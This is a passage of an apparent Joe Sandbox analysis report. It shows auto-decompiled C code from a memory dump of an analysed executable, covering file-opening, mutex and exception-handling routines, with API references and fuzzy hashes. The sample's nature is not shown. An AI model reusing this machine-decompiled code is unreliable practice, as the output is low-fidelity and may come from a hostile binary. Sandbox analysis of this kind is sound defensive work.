									 *(_t151 - 0xc) = 1;
									L38:
									_t85 =  *(_t151 + 0x14);
									__eflags = 0x00000100 & _t85;
									_t145 = 0x80;
									if((0x00000100 & _t85) != 0) {
										_t134 =  *0x432210; // 0x0
										__eflags =  !_t134 &  *(_t151 + 0x18);
										if(( !_t134 &  *(_t151 + 0x18)) >= 0) {
											_t145 = 1;
											__eflags = 1;
										}
									}
									__eflags = _t85 & 0x00000040;
									if((_t85 & 0x00000040) != 0) {
										 *(_t151 - 0xe) =  *(_t151 - 0xe) | 0x00000001;
										_t145 = _t145 | 0x04000000;
										__eflags =  *0x432214 - 2;
										if( *0x432214 == 2) {
											_t34 = _t151 - 8;
											 *_t34 =  *(_t151 - 8) | 0x00000004;
											__eflags =  *_t34;
										}
									}
									__eflags = _t85 & 0x00000010;
									if((_t85 & 0x00000010) != 0) {
										_t145 = _t145 | 0x00000100;
										__eflags = _t145;
									}
									__eflags = _t85 & 0x00000020;
									if(__eflags == 0) {
										__eflags = _t85 & 0x00000010;
										if(__eflags != 0) {
											_t145 = _t145 | 0x10000000;
											__eflags = _t145;
										}
									} else {
										_t145 = _t145 | 0x08000000;
									}
									_t141 = E0042C2A3(_t121, 0x100, _t145, __eflags);
									_t122 = _t121 | 0xffffffff;
									__eflags = _t141 - _t122;
									if(_t141 != _t122) {
										 *( *(_t151 + 8)) = 1;
										 *( *(_t151 + 0xc)) = _t141;
										_push(CreateFileA( *(_t151 + 0x10),  *(_t151 - 0x10),  *(_t151 - 8), _t151 - 0x1c,  *(_t151 - 0xc), _t145, 0));
										_pop(_t146);
										__eflags = _t146 - _t122;
										if(_t146 == _t122) {
											L56:
											E00429D73(GetLastError());
											goto L52;
										}
										_t95 = GetFileType(_t146);
										__eflags = _t95;
										if(_t95 != 0) {
											__eflags = _t95 - 2;
											if(_t95 != 2) {
												__eflags = _t95 - 3;
												if(_t95 == 3) {
													_t51 = _t151 - 1;
													 *_t51 =  *(_t151 - 1) | 0x00000008;
													__eflags =  *_t51;
												}
											} else {
												 *(_t151 - 1) =  *(_t151 - 1) | 0x00000040;
											}
											E0042C0A5(_t141, _t146);
											 *(_t151 - 1) =  *(_t151 - 1) | 0x00000001;
											_t124 = 0x432760 + (_t141 >> 5) * 4;
											_t99 = _t141;
											_t101 =  *(_t151 - 1);
											_t130 =  *_t124;
											_t149 = (_t99 & 0x0000001f) + (_t99 & 0x0000001f) * 8 << 2;
											 *(_t151 - 1) = _t101;
											_t61 = _t151 - 1;
											 *_t61 =  *(_t151 - 1) & 0x00000048;
											__eflags =  *_t61;
											 *(_t149 +  *_t124 + 4) = _t101;
											if( *_t61 != 0) {
												L66:
												__eflags =  *(_t151 - 1);
												if( *(_t151 - 1) == 0) {
													__eflags =  *(_t151 + 0x14) & 0x00000008;
													if(( *(_t151 + 0x14) & 0x00000008) != 0) {
														_t74 =  *_t124 + 4; // 0x4
														_t103 = _t149 + _t74;
														 *_t103 =  *_t103 | 0x00000020;
														__eflags =  *_t103;
													}
												}
												_t93 = _t141;
												goto L70;
											} else {
												__eflags = _t101;
												if(_t101 >= 0) {
													goto L66;
												}
												__eflags =  *(_t151 + 0x14) & 0x00000002;
												if(__eflags == 0) {
													goto L66;
												}
												_t104 = E0042BB80(__eflags, _t141, 0xffffffff, 2);
												__eflags = _t104 - 0xffffffff;
												 *(_t151 - 0x10) = _t104;
												if(_t104 != 0xffffffff) {
													 *((char*)(_t151 - 2)) = 0;
													__eflags = E004294AE(_t141, _t151 - 2, 1);
													if(__eflags != 0) {
														L75:
														__eflags = E0042BB80(__eflags, _t141, 0, 0) - 0xffffffff;
														if(__eflags != 0) {
															goto L66;
														}
														L76:
														_t109 = E00429895(__eflags, _t141);
														L35:
														_t93 = _t109 | 0xffffffff;
														goto L70;
													}
													__eflags =  *((char*)(_t151 - 2)) - 0x1a;
													if(__eflags != 0) {
														goto L75;
													}
													__eflags = E0042CD8A(_t124, _t130, 0x700, _t141, _t149, __eflags, _t141,  *(_t151 - 0x10)) - 0xffffffff;
													if(__eflags == 0) {
														goto L76;
													}
													goto L75;
												}
												__eflags =  *((intOrPtr*)(E00429D6A())) - 0x83;
												if(__eflags != 0) {
													goto L76;
												}
												goto L66;
											}
										}
										CloseHandle(_t146);
										goto L56;
									} else {
										 *((intOrPtr*)(E00429D61())) = 0x18;
										_t114 = E00429D6A();
										 *_t114 =  *_t114 & 0x00000000;
										__eflags =  *_t114;
										L52:
										_t93 = _t122;
										L70:
										L71:
										return _t93;
									}
								}
								__eflags = _t84 - 0x600;
								if(_t84 == 0x600) {
									L36:
									 *(_t151 - 0xc) = 5;
									goto L38;
								}
								__eflags = _t84 - 0x700;
								if(_t84 == 0x700) {
									goto L37;
								}
								L34:
								 *((intOrPtr*)(E00429D61())) = 0x16;
								_t109 = E00429D6A();
								 *_t109 = 0;
								goto L35;
							}
							if(__eflags == 0) {
								L30:
								 *(_t151 - 0xc) = _t121;
								goto L38;
							}
							__eflags = _t84;
							if(_t84 == 0) {
								goto L30;
							}
							__eflags = _t84 - 0x100;
							if(_t84 == 0x100) {
								 *(_t151 - 0xc) = 4;
								goto L38;
							}
							__eflags = _t84 - 0x200;
							if(_t84 == 0x200) {
								goto L36;
							}
							__eflags = _t84 - 0x300;
							if(_t84 != 0x300) {
								goto L34;
							}
							 *(_t151 - 0xc) = 2;
							goto L38;
						}
						if(_t125 == 0x20) {
							 *(_t151 - 8) = 1;
							goto L22;
						}
						if(_t125 == 0x30) {
							 *(_t151 - 8) = 2;
							goto L22;
						}
						if(_t125 == 0x40) {
							 *(_t151 - 8) = _t121;
							goto L22;
						}
						L17:
						 *((intOrPtr*)(E00429D61())) = 0x16;
						_t117 = E00429D6A();
						 *_t117 = 0;
						_t93 = _t117 | 0xffffffff;
						goto L71;
					}
					_t118 = _t82 - 1;
					if(_t118 == 0) {
						 *(_t151 - 0x10) = 0x40000000;
						goto L13;
					}
					if(_t118 != 1) {
						goto L17;
					} else {
						 *(_t151 - 0x10) = 0xc0000000;
						goto L13;
					}
				} else {
					if((_t137 & 0x00000040) != 0) {
						L6:
						 *(_t151 - 1) =  *(_t151 - 1) | 0x00000080;
						goto L7;
					}
					_t161 =  *0x4324f0 - 0x8000; // 0x0
					if(_t161 == 0) {
						goto L7;
					}
					goto L6;
				}
			}

0x0042c576
0x0042c578
0x0042c57c
0x0042c585
0x0042c58c
0x0042c58f
0x0042c59a
0x0042c5a1
0x0042c591
0x0042c591
0x0042c594
0x0042c594
0x0042c5ac
0x0042c5bf
0x0042c5c2
0x0042c5c3
0x0042c5c6
0x0042c5c8
0x0042c5e2
0x0042c5e9
0x0042c5ec
0x0042c62e
0x0042c631
0x0042c632
0x0042c638
0x0042c63f
0x0042c647
0x0042c678
0x0042c67d
0x0042c6ad
0x0042c6ad
0x0042c6b4
0x0042c6b4
0x0042c6b7
0x0042c6b9
0x0042c6be
0x0042c6c0
0x0042c6cb
0x0042c6cd
0x0042c6d1
0x0042c6d1
0x0042c6d1
0x0042c6cd
0x0042c6d2
0x0042c6d4
0x0042c6d6
0x0042c6da
0x0042c6e0
0x0042c6e7
0x0042c6e9
0x0042c6e9
0x0042c6e9
0x0042c6e9
0x0042c6e7
0x0042c6ed
0x0042c6f0
0x0042c6f2
0x0042c6f2
0x0042c6f2
0x0042c6f4
0x0042c6f6
0x0042c700
0x0042c702
0x0042c704
0x0042c704
0x0042c704
0x0042c6f8
0x0042c6f8
0x0042c6f8
0x0042c70f
0x0042c711
0x0042c714
0x0042c716
0x0042c73b
0x0042c744
0x0042c759
0x0042c75a
0x0042c75b
0x0042c75d
0x0042c771
0x0042c778
0x00000000
0x0042c77d
0x0042c766
0x0042c766
0x0042c768
0x0042c780
0x0042c783
0x0042c78b
0x0042c78e
0x0042c790
0x0042c790
0x0042c790
0x0042c790
0x0042c785
0x0042c785
0x0042c785
0x0042c796
0x0042c79b
0x0042c7a4
0x0042c7ac
0x0042c7b3
0x0042c7b8
0x0042c7ba
0x0042c7bd
0x0042c7c0
0x0042c7c0
0x0042c7c0
0x0042c7c4
0x0042c7c8
0x0042c7f6
0x0042c7f6
0x0042c7fa
0x0042c7fc
0x0042c800
0x0042c804
0x0042c804
0x0042c808
0x0042c808
0x0042c808
0x0042c800
0x0042c80c
0x00000000
0x0042c7ca
0x0042c7ca
0x0042c7cc
0x00000000
0x00000000
0x0042c7ce
0x0042c7d2
0x00000000
0x00000000
0x0042c7d9
0x0042c7e1
0x0042c7e4
0x0042c7e7
0x0042c819
0x0042c825
0x0042c827
0x0042c83f
0x0042c84c
0x0042c84f
0x00000000
0x00000000
0x0042c851
0x0042c852
0x0042c69c
0x0042c69c
0x00000000
0x0042c69c
0x0042c829
0x0042c82d
0x00000000
0x00000000
0x0042c838
0x0042c83d
0x00000000
0x00000000
0x00000000
0x0042c83d
0x0042c7ee
0x0042c7f4
0x00000000
0x00000000
0x00000000
0x0042c7f4
0x0042c7c8
0x0042c76b
0x00000000
0x0042c718
0x0042c71d
0x0042c723
0x0042c728
0x0042c728
0x0042c72b
0x0042c72c
0x0042c80d
0x0042c80e
0x0042c811
0x0042c811
0x0042c716
0x0042c67f
0x0042c684
0x0042c6a4
0x0042c6a4
0x00000000
0x0042c6a4
0x0042c686
0x0042c688
0x00000000
0x00000000
0x0042c68a
0x0042c68f
0x0042c695
0x0042c69a
0x00000000
0x0042c69a
0x0042c649
0x0042c673
0x0042c673
0x00000000
0x0042c673
0x0042c64b
0x0042c64d
0x00000000
0x00000000
0x0042c64f
0x0042c651
0x0042c66a
0x00000000
0x0042c66a
0x0042c653
0x0042c658
0x00000000
0x00000000
0x0042c65a
0x0042c65f
0x00000000
0x00000000
0x0042c661
0x00000000
0x0042c661
0x0042c5f1
0x0042c625
0x00000000
0x0042c625
0x0042c5f6
0x0042c61c
0x00000000
0x0042c61c
0x0042c5fb
0x0042c617
0x00000000
0x0042c617
0x0042c5fd
0x0042c602
0x0042c608
0x0042c60d
0x0042c60f
0x00000000
0x0042c60f
0x0042c5ca
0x0042c5cb
0x0042c5d9
0x00000000
0x0042c5d9
0x0042c5ce
0x00000000
0x0042c5d0
0x0042c5d0
0x00000000
0x0042c5d0
0x0042c5ae
0x0042c5b1
0x0042c5bb
0x0042c5bb
0x00000000
0x0042c5bb
0x0042c5b3
0x0042c5b9
0x00000000
0x00000000
0x00000000
0x0042c5b9

APIs

CreateFileA.KERNEL32(80000000,80000000,?,0000000C,00000001,00000080,00000000,?,00000000,000000EE,?,?,00000040,00419B30,?,0042E40C), ref: 0042C753
GetFileType.KERNEL32(00000000), ref: 0042C760
CloseHandle.KERNEL32(00000000), ref: 0042C76B
GetLastError.KERNEL32 ref: 0042C771

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID:
API String ID: 1809617866-0
Opcode ID: 1a470b49cc74bf32bdf898b74135a547b5efcb38d4c552a9f984eb09cc8fea74
Instruction ID: e525672bf552ceef1874905bad0954b14295f11979ace5dc24d082ba6ae33433
Opcode Fuzzy Hash: 1a470b49cc74bf32bdf898b74135a547b5efcb38d4c552a9f984eb09cc8fea74
Instruction Fuzzy Hash: 71915771B042359AEF209B94F8C57BF7B60AF02324FA4415BE450A72C1C7BD4946CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B300, Relevance: 6.2, APIs: 4, Instructions: 198
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040B300(intOrPtr __ecx, char _a4, signed int _a8, signed int _a12, signed int _a16) {
				char _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _v48;
				char _v52;
				signed int _v56;
				intOrPtr _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t63;
				intOrPtr* _t67;
				intOrPtr _t72;
				char* _t73;
				signed int _t74;
				intOrPtr* _t78;
				signed int _t80;
				signed int _t84;
				signed int _t87;
				void* _t92;
				void* _t93;
				intOrPtr _t108;
				void* _t110;
				signed int _t123;
				void* _t130;
				intOrPtr _t139;
				void* _t142;
				void* _t144;
				signed int _t145;
				void* _t147;
				intOrPtr _t148;

				_push(0xffffffff);
				_push(E0042D358);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t148;
				_t63 =  *0x4310d8; // 0xd0c2a9a8
				_t139 = __ecx;
				_v24 = _t63;
				_v20 = _t148 - 0x2c;
				_v60 = __ecx;
				_v28 = 0xf;
				_v32 = 0;
				_v48 = 0;
				_v8 = 0;
				_t142 = E0042CF9D(_a4);
				_push(_t142);
				E00425C34(0, _t139, _t142, 0);
				_t67 = _t142;
				_t9 = _t67 + 1; // 0x1
				_t130 = _t9;
				do {
					_t108 =  *_t67;
					_t67 = _t67 + 1;
					_t158 = _t108;
				} while (_t108 != 0);
				E004028A0( &_v52, _t142, _t67 - _t130);
				_push(_t142);
				E004255BE(0, _t139, _t142, _t158);
				_t72 = _v28;
				if(_v32 != 0) {
					_push(_t142);
					_t144 = 0x10;
					__eflags = _t72 - _t144;
					_t73 = _v48;
					if(_t72 < _t144) {
						_t73 =  &_v48;
					}
					_push(_t73);
					_t110 = _t139;
					_t74 = E00408BC0(0, _t110, _t139, _t144, _t147);
					__eflags = _t74;
					if(_t74 != 0) {
						WaitForSingleObject( *(_t139 + 0x34), 0xffffffff);
						_t78 = E00407C10( &_a4,  &_v52);
						__eflags =  *_t78 -  *((intOrPtr*)(_t139 + 8));
						if( *_t78 ==  *((intOrPtr*)(_t139 + 8))) {
							_v8 = 1;
							_t80 = E004246FE(0x44);
							__eflags = _t80;
							if(_t80 == 0) {
								_push(0);
								_pop(_t145);
								_v56 = _t145;
							} else {
								 *((intOrPtr*)(_t80 + 0x14)) = 0;
								 *((intOrPtr*)(_t80 + 0x18)) = 0xf;
								 *((char*)(_t80 + 4)) = 0;
								 *((intOrPtr*)(_t80 + 0x34)) = 0xf;
								 *((intOrPtr*)(_t80 + 0x30)) = 0;
								 *((char*)(_t80 + 0x20)) = 0;
								_t145 = _t80;
								 *((intOrPtr*)(_t80 + 0x38)) = 0;
								 *((intOrPtr*)(_t80 + 0x40)) = 0;
								_v56 = _t145;
							}
							__eflags = _t145;
							_v8 = 0;
							if(_t145 != 0) {
								E004027B0(_t145,  &_v52, 0, 0xffffffff);
								_t84 = _a8;
								__eflags = _t84;
								if(_t84 != 0) {
									E00407D30(_t84);
								}
								 *(_t145 + 0x38) =  *(_t145 + 0x38) | 0x00000004;
								_push(_t145);
								 *(E0040B030(_t139 + 4)) = _t145;
								E004085E0(_t139 + 0x1c,  &_v56);
								__eflags = _a12;
								if(_a12 != 0) {
									_t123 =  *(_t145 + 0x38) | 0x00000001;
									__eflags = _t123;
									 *(_t145 + 0x38) = _t123;
									E004085E0(_t139 + 0x10,  &_v56);
								}
								_t87 =  *0x431c86; // 0x0
								__eflags = _a16;
								 *0x431c86 = 0x6e - _t87 * 0x21;
								if(_a16 != 0) {
									_push(_t145);
									E00407650(0, _t139, _t145, _t139);
								}
								 *0x431c86 = 0x37;
								ReleaseMutex( *(_t139 + 0x34));
								E004023D0( &_v52);
								_t92 = 1;
								asm("pushad");
								asm("popad");
							} else {
								ReleaseMutex( *(_t139 + 0x34));
								E004023D0( &_v52);
								_t92 = 0;
							}
							goto L26;
						}
						ReleaseMutex( *(_t139 + 0x34));
						__eflags = _v28 - _t144;
						if(_v28 >= _t144) {
							_push(_v48);
							L00424BCD();
						}
						goto L13;
					} else {
						__eflags = _v28 - _t144;
						if(_v28 < _t144) {
							L13:
							_t92 = 0;
							L26:
							 *[fs:0x0] = _v16;
							_t93 = E00424873(_t92, _v24);
							_push(_t147);
							return _t93;
						}
						_push(_v48);
						L00424BCD();
						_t92 = 0;
						goto L26;
					}
				}
				if(_t72 < 0x10) {
					goto L13;
				} else {
					_push(_v48);
					L00424BCD();
					_t92 = 0;
					goto L26;
				}
			}

0x0040b303
0x0040b305
0x0040b310
0x0040b311
0x0040b31b
0x0040b325
0x0040b327
0x0040b32a
0x0040b32d
0x0040b330
0x0040b337
0x0040b33a
0x0040b341
0x0040b349
0x0040b34b
0x0040b34c
0x0040b352
0x0040b356
0x0040b356
0x0040b360
0x0040b360
0x0040b362
0x0040b363
0x0040b363
0x0040b36e
0x0040b373
0x0040b374
0x0040b381
0x0040b384
0x0040b3a2
0x0040b3a6
0x0040b3a7
0x0040b3a9
0x0040b3ac
0x0040b3ae
0x0040b3ae
0x0040b3b1
0x0040b3b3
0x0040b3b4
0x0040b3b9
0x0040b3bb
0x0040b3db
0x0040b3ec
0x0040b3f3
0x0040b3f6
0x0040b41c
0x0040b420
0x0040b428
0x0040b42a
0x0040b452
0x0040b453
0x0040b454
0x0040b42c
0x0040b42c
0x0040b434
0x0040b437
0x0040b43a
0x0040b43d
0x0040b440
0x0040b443
0x0040b445
0x0040b448
0x0040b44b
0x0040b44b
0x0040b46e
0x0040b470
0x0040b473
0x0040b497
0x0040b49c
0x0040b49f
0x0040b4a1
0x0040b4a7
0x0040b4a7
0x0040b4ac
0x0040b4b0
0x0040b4c0
0x0040b4c2
0x0040b4c7
0x0040b4ca
0x0040b4cf
0x0040b4cf
0x0040b4d5
0x0040b4dc
0x0040b4dc
0x0040b4e1
0x0040b4ee
0x0040b4f1
0x0040b4f7
0x0040b4f9
0x0040b4fc
0x0040b4fc
0x0040b501
0x0040b50c
0x0040b515
0x0040b51c
0x0040b51d
0x0040b51e
0x0040b475
0x0040b479
0x0040b482
0x0040b487
0x0040b487
0x00000000
0x0040b473
0x0040b3fc
0x0040b402
0x0040b405
0x0040b40a
0x0040b40b
0x0040b410
0x00000000
0x0040b3bd
0x0040b3bd
0x0040b3c0
0x0040b413
0x0040b413
0x0040b51f
0x0040b522
0x0040b52c
0x0040b534
0x0040b537
0x0040b537
0x0040b3c5
0x0040b3c6
0x0040b3ce
0x00000000
0x0040b3ce
0x0040b3bb
0x0040b389
0x00000000
0x0040b38f
0x0040b392
0x0040b393
0x0040b39b
0x00000000
0x0040b39b

APIs

Part of subcall function 0042CF9D: _strlen.LIBCMT ref: 0042CFA7

WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,00000001,00000049), ref: 0040B3DB
ReleaseMutex.KERNEL32(?,00000000,?), ref: 0040B3FC
ReleaseMutex.KERNEL32(?,?,?,00000000,?), ref: 0040B479
ReleaseMutex.KERNEL32(?,00000000,00000000,?,00000000,000000FF,?,?,00000000,?), ref: 0040B50C

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait_strlen
String ID:
API String ID: 3910325100-0
Opcode ID: 68b5007d530dd04fa68ad565048ccf62c39da323215cced4d2756cea80dabffb
Instruction ID: fb87be2baf0def0457bdbd35b4f4dd87de90f395e6b170878bb751094d49aee8
Opcode Fuzzy Hash: 68b5007d530dd04fa68ad565048ccf62c39da323215cced4d2756cea80dabffb
Instruction Fuzzy Hash: F861D171900215AFC714EF69D9819EEBBB8FF04314F50453EF112A7691D738AA04CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00426C9C, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E00426C9C(void* __ebx, void* __edi, intOrPtr* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v5;
				signed int _v8;
				intOrPtr* _v12;
				char _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				struct _CRITICAL_SECTION* _v60;
				intOrPtr _t87;
				void* _t90;
				intOrPtr* _t98;
				intOrPtr _t99;
				void* _t103;
				intOrPtr _t105;
				void* _t109;
				intOrPtr _t111;
				intOrPtr _t112;
				intOrPtr _t113;
				void* _t116;
				intOrPtr* _t117;
				void* _t119;
				intOrPtr _t120;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t131;
				void* _t136;
				intOrPtr _t139;
				intOrPtr* _t140;
				intOrPtr _t142;
				intOrPtr _t143;
				void* _t148;
				void* _t149;
				void* _t152;

				_t140 = __esi;
				_t136 = __edi;
				_t116 = __ebx;
				_t149 = _t148 - 0x24;
				_t87 =  *((intOrPtr*)(_a8 + 8));
				_v5 = 0;
				_v32 = _t87;
				if(_t87 < 0xffffffff) {
					L2:
					E00427244(_t154);
				} else {
					_t120 = _a20;
					_t154 = _t87 -  *((intOrPtr*)(_t120 + 4));
					if(_t87 >=  *((intOrPtr*)(_t120 + 4))) {
						goto L2;
					}
				}
				_push(_t116);
				_t117 = _a4;
				_push(_t140);
				_push(_t136);
				if( *_t117 != 0xe06d7363) {
					L40:
					__eflags = _a24;
					if(_a24 != 0) {
						_push(8);
						_push(0x42e858);
						E0042664C(_t117, _t136, _t140);
						_t90 = E00426F68();
						__eflags =  *(_t90 + 0x6c);
						if( *(_t90 + 0x6c) != 0) {
							_v8 = _v8 & 0x00000000;
							 *((intOrPtr*)(E00426F68() + 0x6c))();
							_t83 =  &_v8;
							 *_t83 = _v8 | 0xffffffff;
							__eflags =  *_t83;
						}
						_push(0xa);
						E0042A3E3();
						_push(0x16);
						E0042CB30(_t117, _t136, _t140, __eflags);
						E00429328(3);
						asm("int3");
						InitializeCriticalSection(_v60);
						__eflags = 1;
						return 1;
					} else {
						_push(_a32);
						_push(_a28);
						_push(_v32);
						_push(_a20);
						_push(_a16);
						_push(_a12);
						_push(_a8);
						_push(_t117);
						_t98 = E00426BDE(_t120);
						goto L38;
					}
				} else {
					_t136 = 0x19930520;
					if( *((intOrPtr*)(_t117 + 0x10)) != 3) {
						L18:
						if( *_t117 != 0xe06d7363 ||  *((intOrPtr*)(_t117 + 0x10)) != 3) {
							goto L40;
						} else {
							_t99 =  *((intOrPtr*)(_t117 + 0x14));
							if(_t99 == _t136 || _t99 == 0x19930521) {
								_t142 = _v32;
								_push( &_v36);
								_push( &_v16);
								_push(_t142);
								_push(_a28);
								_push(_a20);
								_t98 = E00424E45(_t120);
								_t152 = _t149 + 0x14;
								_v12 = _t98;
								if(_v16 < _v36) {
									L25:
									while(1) {
										if( *_t98 <= _t142 && _t142 <=  *((intOrPtr*)(_t98 + 4))) {
											_t128 =  *((intOrPtr*)(_t98 + 0xc));
											_t143 =  *((intOrPtr*)(_t98 + 0x10));
											_v28 = _t128;
											if(_t128 > 0) {
												do {
													_t129 =  *((intOrPtr*)(_t117 + 0x1c));
													_t40 =  *((intOrPtr*)(_t129 + 0xc)) + 4; // 0x4
													_t131 =  *((intOrPtr*)( *((intOrPtr*)(_t129 + 0xc))));
													_v20 = _t40;
													_v24 = _t131;
													if(_t131 <= 0) {
														goto L32;
													} else {
														while(1) {
															_v40 =  *_v20;
															_t103 = E00426698( *_v20, _t143,  *((intOrPtr*)(_t117 + 0x1c)));
															if(_t103 != 0) {
																break;
															}
															_v24 = _v24 - 1;
															_v20 = _v20 + 4;
															if(_v24 > _t103) {
																continue;
															} else {
																_t98 = _v12;
																goto L32;
															}
															goto L35;
														}
														_push(_a32);
														_t139 = _v12;
														_push(_a28);
														_push(_a20);
														_push(_a16);
														_push(_a12);
														_push(_t117);
														_t119 = _t143;
														E00426B77(_t119, _v40, _t139, _a8);
														_t117 = _a4;
														_t152 = _t152 + 0x18;
														_t98 = _t139;
													}
													goto L35;
													L32:
													_v28 = _v28 - 1;
													_t143 = _t143 + 0x10;
												} while (_v28 > 0);
											}
										}
										L35:
										_v16 = _v16 + 1;
										_t98 = _t98 + 0x14;
										_v12 = _t98;
										if(_v16 < _v36) {
											_t142 = _v32;
											continue;
										}
										goto L36;
									}
								}
								L36:
								_t180 = _a24;
								if(_a24 != 0) {
									_push(1);
									_push(_t117);
									_t98 = E004267D3(_t180);
								}
								goto L38;
							} else {
								goto L40;
							}
						}
					} else {
						_t105 =  *((intOrPtr*)(_t117 + 0x14));
						if(_t105 == 0x19930520 || _t105 == 0x19930521) {
							if( *((intOrPtr*)(_t117 + 0x1c)) != 0) {
								goto L18;
							} else {
								_t98 = E00426F68();
								if( *((intOrPtr*)(_t98 + 0x7c)) == 0) {
									L38:
									return _t98;
								} else {
									_t140 =  *((intOrPtr*)(E00426F68() + 0x7c));
									_a4 = _t140;
									_a12 =  *((intOrPtr*)(E00426F68() + 0x80));
									_v5 = 1;
									_t109 = E0042AECA(_t140, 1);
									_t161 = _t109;
									_pop(_t120);
									if(_t109 == 0) {
										E00427244(_t161);
									}
									if( *_t140 != 0xe06d7363) {
										_t117 = _a4;
										goto L40;
									} else {
										_t111 = _a4;
										if( *((intOrPtr*)(_t111 + 0x10)) == 3) {
											_t112 =  *((intOrPtr*)(_t111 + 0x14));
											if(_t112 == _t136 || _t112 == 0x19930521) {
												_t113 = _a4;
												_t166 =  *((intOrPtr*)(_t113 + 0x1c));
												if( *((intOrPtr*)(_t113 + 0x1c)) == 0) {
													E00427244(_t166);
												}
											}
										}
										_t117 = _a4;
										goto L18;
									}
								}
							}
						} else {
							goto L18;
						}
					}
				}
			}

0x00426c9c
0x00426c9c
0x00426c9c
0x00426c9f
0x00426ca5
0x00426cab
0x00426caf
0x00426cb2
0x00426cbc
0x00426cbc
0x00426cb4
0x00426cb4
0x00426cb7
0x00426cba
0x00000000
0x00000000
0x00426cba
0x00426cc1
0x00426cc2
0x00426ccb
0x00426ccc
0x00426ccd
0x00426e75
0x00426e75
0x00426e79
0x0042720f
0x00427211
0x00427216
0x0042721b
0x00427220
0x00427224
0x00427226
0x0042722f
0x0042723b
0x0042723b
0x0042723b
0x0042723b
0x0042b4b7
0x0042b4b9
0x0042b4be
0x0042b4c0
0x0042b4c9
0x0042b4ce
0x0042b4d3
0x0042b4db
0x0042b4dc
0x00426e7b
0x00426e7b
0x00426e7e
0x00426e81
0x00426e84
0x00426e87
0x00426e8a
0x00426e8d
0x00426e90
0x00426e91
0x00000000
0x00426e96
0x00426cd3
0x00426cd7
0x00426cdc
0x00426d69
0x00426d6f
0x00000000
0x00426d7f
0x00426d7f
0x00426d84
0x00426d91
0x00426d97
0x00426d9b
0x00426d9c
0x00426d9d
0x00426da0
0x00426da3
0x00426dab
0x00426db1
0x00426db4
0x00000000
0x00426dbf
0x00426dc1
0x00426dcf
0x00426dd1
0x00426dd4
0x00426dd7
0x00426dd9
0x00426dd9
0x00426ddf
0x00426de2
0x00426de6
0x00426de9
0x00426dec
0x00000000
0x00426dee
0x00426dee
0x00426df6
0x00426df9
0x00426e01
0x00000000
0x00000000
0x00426e03
0x00426e06
0x00426e0d
0x00000000
0x00426e0f
0x00426e0f
0x00000000
0x00426e0f
0x00000000
0x00426e0d
0x00426e20
0x00426e23
0x00426e26
0x00426e2c
0x00426e2f
0x00426e32
0x00426e35
0x00426e37
0x00426e3b
0x00426e40
0x00426e43
0x00426e46
0x00426e46
0x00000000
0x00426e12
0x00426e12
0x00426e15
0x00426e18
0x00426e1e
0x00426dd7
0x00426e48
0x00426e48
0x00426e4e
0x00426e54
0x00426e57
0x00426dbc
0x00000000
0x00426dbc
0x00000000
0x00426e57
0x00426dbf
0x00426e5d
0x00426e5d
0x00426e61
0x00426e63
0x00426e65
0x00426e66
0x00426e6c
0x00000000
0x00000000
0x00000000
0x00000000
0x00426d84
0x00426ce2
0x00426ce2
0x00426ce7
0x00426cf4
0x00000000
0x00426cf6
0x00426cf6
0x00426cff
0x00426e6d
0x00426e71
0x00426d05
0x00426d0a
0x00426d0d
0x00426d1e
0x00426d21
0x00426d25
0x00426d2a
0x00426d2d
0x00426d2e
0x00426d30
0x00426d30
0x00426d3b
0x00426e72
0x00000000
0x00426d41
0x00426d41
0x00426d48
0x00426d4a
0x00426d4f
0x00426d58
0x00426d5b
0x00426d5f
0x00426d61
0x00426d61
0x00426d5f
0x00426d4f
0x00426d66
0x00000000
0x00426d66
0x00426d3b
0x00426cff
0x00000000
0x00000000
0x00000000
0x00426ce7
0x00426cdc

APIs

Part of subcall function 00426B77: _UnwindNestedFrames.LIBCMT ref: 00426B9A

InitializeCriticalSection.KERNEL32(00426CC1,00000003), ref: 0042B4D3

Strings

csm, xrefs: 00426CC5
csm, xrefs: 00426D35
csm, xrefs: 00426D69

Memory Dump Source

